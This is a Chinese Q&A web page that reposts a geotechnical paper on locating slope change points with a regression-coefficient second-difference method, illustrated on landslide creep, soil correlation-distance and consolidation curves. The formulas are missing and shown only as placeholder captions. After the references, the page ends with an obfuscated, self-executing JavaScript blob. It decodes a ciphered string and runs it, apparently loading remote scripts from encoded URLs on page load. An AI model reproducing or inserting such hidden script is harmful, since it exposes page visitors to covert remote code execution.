斜率单变点分析

2025-02-16 12:10:47
推荐回答(1个)
回答1:

王建锋

(中国科学院力学研究所,北京,100080)

【摘要】在自然界、社会、经济等领域内,突变现象很常见。若系统的输出序列在某未知时刻起了突然变化,则该时刻即称为变点。变点统计分析的目的是判断变点的存在,确定其位置和个数等。已有的变点分析包括均质变点分析、概率变点分析和模型参数变点分析等。本文提出斜率变点的新概念,它是指曲线斜率加(减)速变化最大的点。本文还结合几个不同类型的实例,提出了寻求单一斜率变点的回归系数二阶差分方法。它可对单调性和凹凸性均单一的曲线求其“转折点”。实例表明,该法具有简单、直观、有效等优点。

【关键词】变点分析 斜率变点 回归系数

1 前言

在自然界、社会、经济等领域内,突变现象很常见,且很重要。研究突变是否发生,何时发生等问题,有助于掌握事件或过程的演化规律,尤其是灾害发生发展规律,从而为灾害的预报、预防和治理提供依据。

系统的输出序列在某未知时刻起了突然变化,该时刻即称为变点。变点统计分析的目的是判断和检验变点的存在、位置、个数,并估计出变点的跃度。变点统计分析对定量分析各种监测数据,研究各种地质灾害的规律等,都是个强有力的工具。

变点分析又分为均值变点分析、概率变点分析以及模型参数变点分析等[1]。某一时刻前、后数据的均值(或概率分布,或某模型参数)发生了显著改变,则该时刻就称为均值(或概率,或某模型参数)变点。但地质问题中还常遇到一条曲线逐渐上升,在某时刻以后突然加速上升;有时遇到一条曲线开始加速下降,到某点以后突然减缓速度下降而逐渐趋于平缓。还有的曲线开始缓速下降,到某点后突然转为快速沿斜线下降。由于这一突然转变的“转折点”是一类重要的特征点,往往与特定问题的特定物理意义相联系,因此准确地确定该变点是重要的。此类“转折点”,本文称其为曲线的斜率变点,简称斜率变点。

本文拟结合岩土体表面蠕变曲线如何寻找第二阶段和第三阶段分界点的问题,求土体特性指标的相关距离δ(或θ)中如何寻找方差折减函数的突然趋缓的“转折点”问题,以及根据e-lgP曲线求前期固结压力P。的问题,来进行斜率变点分析论述。

2 寻找单一斜率变点的基本原理

先研究最简单的斜率变点问题。假定已知一条曲线中有且只有一个斜率变点,问题是如何找到一种方法可简单、定量、准确地确定此变点。

一般的,大多数的测量数据都呈离散的数据点对,并且当测量时间间隔较长时,不易形成能真实反映过程变化的连续曲线。因此,多数观测序列不易用曲线方程表达,因而就无法用微积分求导数的方法求出各点处的斜率,只能用求某点两侧一些相继数据点的线性回归系数的方法近似地求出某时刻点(或距离点)两侧较短时间间隔(或距离)内曲线的斜率。这是因为在较短的时间间隔(或距离)内,曲线是近似直线的。某点两侧曲线斜率之差可反映该点两侧斜率变化的幅度,这可说是用到了一阶差分。但这里拟找的“转折点”并不是斜率变化最大的点,而是斜率局部加(减)速变化最大的点。在监测时间是等时间间隔(或等间距)的条件下,斜率变化幅度的二阶差分就反映了斜率变化的加(减)速度。通过寻找斜率变化的加(减)速度局部极大值的方法,就可找出斜率变点所落在的单位区间。然后,再用类似于求分组数据众数的方法,便可定量地求出斜率变点的估计值了。

3 寻找单一斜率变点的方法和步骤

以下结合3个不同类型的实例,介绍寻找单一斜率变点的方法和步骤。

例1.日本Tohoku铁道线上Asamushi滑坡的累计位移监测数据[21如表1所示(数据由图1量出)。

表1 日本Tohoku铁路线 Asamushi滑坡累计位移

图1 日本Tohoku铁路线 Asamushi滑坡时间—累计位移曲线变点分析结果

这是由滑坡表面测得的位移—时间曲线,它明显包含了第二、第三蠕变阶段的数据。第二阶段的曲线段近似直线,反映出等速蠕变特征;但第三阶段则是加速蠕变阶段,其曲线明显加速上扬(图1)。这就是说,在这个例子中,已知包含且只包含一个斜率变点,只要能找到斜率局部加速变化最大的点,那么就意味着找到了这个斜率变点了。以下分步介绍寻找这个变点的回归系数二阶差分法。

(1)取定探索点:由于监测数据是等时间间隔的,为此选取两个相邻观测时间点的中点为探索点,构成探索点序列。如例1中的探索点序列为ti=21.25,21.75,22.25,22.75,23.25,…,26.75。

(2)以各探索点为中心构造滑动窗口,以便计算出探索点前后附近曲线的斜率(即探索点前后各若干数据点的线性回归系数)。由于参加回归的数据点数 n的多少会影响回归系数的取值,故在探索点前、后各取一样多(n)数据点构成滑动窗口,这样可在同等条件下进行前、后斜率的对比。又由于曲线只在较短的时间(或较小的距离)内才近似直线,故 n也不能取得太大。这里分别取 n=2,3,4构成三套滑动窗口。

(3)在以 ti为滑动窗口中,对探索点 ti前(或左)的n个数据点作线性回归,求出回归系数,记为

(ti);同样,对探索点 ti后(或右)的n个数据点作线性回归,求出回归系数,记为

(ti)。显然,n=2时算出的回归系数反映局部的斜率性态较多,反映整体的斜率性态则不够,又由于点数太少(只是两点,可连一直线),随机性较大,统计意义不够。相反,n=4时算出的回归系数反映整体的斜率性态较好,反映局部的的斜率性态则较差,又由于点数较多,统计意义较强,较少随机性;n=3则介乎二者之间。因此,应当更着重 n=4时的结果。因此,将n=2,3,4时计算出的

进行加权平均,权取 n2。于是,当对某个 ti

均存在时,加权平均数为:

地质灾害调查与监测技术方法论文集

(4)对每个探索点 ti,计算

之差,并记为∆S(ti),即

地质灾害调查与监测技术方法论文集

∆S(ti)可说是ti点前、后曲线斜率的增量(或改变量),也可理解为是ti点后、前曲线斜率的一阶差分,它的大小反映了 ti点处斜率增加的幅度。

(5)对∆S(ti)的序列再计算二阶差分,即:

地质灾害调查与监测技术方法论文集

这个二阶差分值的大小就反映了在区间(ti-1,ti)内曲线斜率加速度变化的大小。△2S(ti)也构成一序列。

(6)沿着 ti从小到大的序列,寻找2S(ti)序列中出现的最大值(它比前、后两个值均大)。设它所对应的区间为(ti-1,ti),它就应是斜率变点所在的区间。再把它前、后两个相邻区间(ti-2,ti-1)及(ti,ti+1)和它们对应的△2S(ti-1)、△2S(ti+1)值利用起来,用与分组数据众数类似的方法,进行线性内插,即可求出斜率变点 t*的精确值,计算公式如下:

地质灾害调查与监测技术方法论文集

对例1数据用回归系数二阶差分法进行计算,将计算的中间结果及最终结果列于图2中。

从图2中可以看出,取得最大的二阶差分为2S(ti)=23.63,它对应的区间为(23.25, 23.75),它的前、后两个相邻区间为(22.75,23.25)和(23.75,24.25)。它们对应的二阶差分值为△2S(ti-1)=18.80,△2S(ti+1)=11.47。

按公式(4)可算得:

地质灾害调查与监测技术方法论文集

从图1直观来看,t作为该曲线的斜率变点是合适的,它可作为蠕变曲线第二阶段与第三阶段的分界点。找出这个分界点有重要实际意义,它可提醒观测者何时开始就应对该滑坡动态进行加密监测,也可使现场工程师有可能只用第三阶段的数据点,对滑坡发生时间作出更为精确的预报。因此,斜率变点的确定有助于解决滑坡蠕变曲线第二、第三阶段的划分问题。此外,它还可以帮助寻找曲线由快速下降到突然转缓,以及曲线由平缓下降突然转为快速沿斜线下降的“转折点”问题。

图2 日本Tohoku铁路线 Asamushi滑坡时间—累计位移曲线变点分析Spreadsheet配置

4 寻找曲线由快速下降到突然转缓趋于平稳的“转折点”

地质学中遇到这类问题较多。但过去往往只凭肉眼观察来人为确定一个“转折点”,没有客观定量分析的方法。而这种问题的解决不但对理论研究有帮助,而且具有重要的实际经济效益,如确定经济合理的取样间距、勘探网密度等。也就是俗称的寻找“平衡点”的问题。下面将结合求土体相关距离的实际例子来说明斜率变点分析在其中的应用。

例2.已知从加拿大温哥华及近郊Haney处土体静力触探试验数据计算得出滞后距 T与方差折减函数Г2(T)如表2、图3所示。

表2 Haney处 T与Γ2(T)数据表

例1中的曲线是开始等速上升,经过斜率变点后加速上扬。而例2中的曲线则是开始快速下降,到变点时突然减速下降,并逐渐趋缓,甚至趋于一条水平的渐近线。这里需要寻找的是突然减速下降的“转折点”。由于例2中曲线虽与例1中曲线在直观上很不相同,但都是凹曲线。因此,随着 Ti(或 ti)的增加,曲线的斜率总是增大的。因此,一阶差分还是用公式:

但到计算二阶差分2S(Ti)时就与例1时有所不同。例1中序列S(Ti)一般是随着 ti的增大而递增的,故2S(Ti)=S(ti)- S(ti-1);而例2中序列∆S(Ti)一般是随着 Ti的增大而递降的,故此时计算二阶差分就应倒过来减:

图3 Haney处方差折减函数Γ2(T)图

地质灾害调查与监测技术方法论文集

其余求 T的方法、公式与方程(4)类似。

对例2中数据的计算结果列于图4。从图4可以看出,取得最大值的二阶差分为2S(Ti)=0.1822,它对应的区间为(1.1,1.3)。它的前、后两个相邻区间为(0.9,1.1)和(1.1, 1.3),它们对应的二阶差分值为2S(Ti-1)=0.1679和2S(Ti+1)=0.1314,按照(4)可得:

地质灾害调查与监测技术方法论文集

这就是“转折点”的T的估计值。再根据表2中 T与Γ2(T)的数据,用线性内插法求出Γ2(T*)来:

图4 Haney处方差折减函数Γ2(T)变点分析结果

地质灾害调查与监测技术方法论文集

∴Γ2(T*)=0.3378-0.054×0.7195=0.2989

于是,Haney处土体相关距离δ≈T·Г2(T*)=1.1439×0.2989=0.3419(m)。这与原文中计算出的结果δ=0.324m非常接近,相对误差只有5.5%。原文中 T*=1.2,如果按本文量出的数据,则Г2(1.2)=0.2838,于是δ≈1.2×0.2838=0.34056(m),此与本文结果更为接近,相对误差仅为0.39%。原文中时 T*=1.2时,Γ2(T)=0.27,故算出δ≈1.2×0.27=0.324(m)。可见,误差主要是本文量测数据造成的,与方法本身无关。可见,斜率变点方法提供了计算相关距离的另一有效途径。

5寻找曲线由慢速平缓下降到突然转为快速沿斜线下降的“转折点”

土力学中根据e-lgP高压固结实验曲线求取前期固结压力Pc,即是此类问题的典型代表。

例3.垂直压力P的对数与隙比的试验数据[4]见表3、图5。首先运用线性内插使试验数据等间隔化。变点分析结果见图6。

表3 e-lgP数据表

图5 高压固结实验e-lgP曲线

图6 高压固结实验e-lgP曲线变点分析结果

由于曲线是凹的,对每个Li算出的

总大于

因此由公式(2)可推:

地质灾害调查与监测技术方法论文集

由于算出的∆S(Li)序列基本上是递增的,故计算 △2S(Li)的公式仍可沿用公式(3),即:

地质灾害调查与监测技术方法论文集

从图6的最后一栏看出,最大的△2S(Li)为0.0413,所对应的区间为(2.45,2.55)。它的前后两个相邻区间为(2.35,2.45)和(2.55,2.65),它们对应的二阶差分值为△2S(Li-1)=0.0361和△2S(Li+1)=0.0137,按照(4)可得:

地质灾害调查与监测技术方法论文集

即斜率变点的估计值为(lgP)*=2.4658。因此,前期固结压力 Pc的估计值为

=102.4658=292.28kPa。原文Pc的计算结果为313.91kPa,两者极为接近,相对误差仅为6.89%。

6 结论

在自然界、社会、经济等问题的科学研究中,常遇到要寻求一条曲线的“转折点”问题。当曲线是单调递增(或单调递减),且是凹的(或凸的)曲线时,就意味着曲线中有且只有一个斜率变点存在,可用回归系数二阶差分法确定此变点。

当曲线不是单调且凹凸性有变化时,可以将曲线先划分为单调且凹凸性单一的曲线段,然后分段求取斜率变点。

回归系数二阶差分法求得的斜率变点是斜率最大加速的点,而不是斜率变化量最大的点。该点往往是在沿着近似直线的变化后,开始突然加速转向变为沿着另一条直线或曲线变化的“转折点”,它多在斜率变化量最大的点(或曲率最大的点)之前发生。

应用回归系数二阶差分法需要是等间距数列,且间隔要相对较密,即数据点对足够多,最好大于20或30对,至少也要有13对。这是因为运用滑动窗口时存在边缘效应,并且算出的回归系数不能很好地代表曲线的斜率。若原始数据是不等间距的,可以采用线性内插的方法使之转化为等间隔的较稠密的数据。

曲线单调增、减及凹、凸不同时,计算斜率变点的公式稍有不同:①单调增、凹性时,用公式(2)、(3),如例1;②单调降、凹性时,用公式(2)、(5),如例2;③单调降、凸性时,用公式(6)、(3),如例3;④单调增、凸性时,用公式(6)、(5)。

参考文献

[1]项静恬,史九恩著.非线性系统中数据处理的统计方法.北京:科学出版社,1997:1~43

[2]M Saito.Forecasting time of slope failure by tertiary creep.Proceedings of the Seventh International Conference on Soil Mechanics and Foundation Engineering,Mexico,1969,Vo1.2:677~683

[3]Damika Wickremesinghe and R G Campanella.Scale of fluctuation as a descriptor of soil variability.Probabilistic Methods in Geotechnical Engineering,Li&Lo(eds),Balkema,Rotterdam,1983:233~239

[4]Jean-Pierre Bardet.Experimental soil mechanics.Prentice-Hall,Inc.,1997:297~306

[5]陈希孺.变点统计分析简介.数理统计与管理,vol.No.1~4∶1~43

[6]Chen X R.Inference in a simple change-point model.Science in China,Ser.A,1988,(6)

[7]Keyue Ding.A lower confidence bound for the change point after a sequential CUSUM test.Journal of Statistical Planning and Inference,2003:115,311~326

[8]Douglas M Hawkins.Fitting multiple change-point models to data,Computational Statistics&Data Analysis,37,2001:323~341

[9]Wayne A Taylor.Change-point analysis:a powerful new tool for detecting changes.2000,http://www.variation.com/cpa/tech/changepoint.html

[10]Wayne A Taylor.A pattern test for distinguishing between autoregressive and mean-shift data.2000,http://www.variation.com/cpa/tech/changepoint.html

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();